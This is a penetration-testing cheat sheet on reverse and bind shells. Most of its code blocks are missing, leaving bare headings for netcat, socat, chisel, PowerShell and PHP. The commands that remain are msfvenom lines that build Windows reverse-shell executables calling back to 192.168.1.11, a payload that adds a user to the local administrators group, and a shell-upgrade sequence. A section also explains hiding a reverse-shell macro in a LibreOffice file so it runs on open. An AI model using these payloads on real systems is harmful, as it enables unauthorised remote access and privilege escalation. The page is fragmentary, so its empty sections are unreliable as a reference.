githubEdit

Reverse/Bind Shells

Shell Generator

You can get a shell easily from here: https://www.revshells.com/arrow-up-right

Upgrading a Non-Interactive Shell

python -c 'import pty; pty.spawn("/bin/bash");'
[Ctrl + Z]
stty raw -echo; fg

Msfvenom

Windows 10 x64 reverse shell with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o shell_53.exe
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.11 LPORT=443 -f exe -o shell_443.exe

Using msfvenom to execute a specific command:

msfvenom -p windows/exec CMD="net localgroup administrators <USERNAME_TO_ADD> /add" -f exe -o file.exe

Run process without spawn new window and loose non-TTY shell:

> start-process -nonewwindow -filepath ./shell.exe

Netcat Bind Shell

Windows / Setup bind shell:

Kali / Calling bind shell:

Netcat Reverse Shell

Windows:

Kali:

The connection is received by Netcat on the Windows machine as shown below:

Socat Reverse Shell

Listen:

Connect:

Socat Encrypted Bind Shell

Generating SSL certificate:

Creating .pem file:

Listen:

Connect:

Chisel

How it works: https://ap3x.github.io/posts/pivoting-with-chisel/arrow-up-right

Download it from here:

Reverse pivot:

SOCKS5 / Proxychains Configuration:

PowerShell Reverse Shell

Listen:

Connect:

Result:

PHP Reverse Shell

A php reverse shell from pentest monkey:

LibreOffice

If you can upload an ODT LibreOffice file and execute it you can insert a macro inside it, as follow.

First insert the reverse shell payload for Windows inside a reverse.ps1 file:

We can create a new basic macro and save it:

ODT Macro

The ODT Macro content is the following:

Now link it to the “Open Document” event. Under Tools -> Customize -> Events.

Save. Start a netcat listener and a python web server and upload the odt file. Get the shell back.

Last updated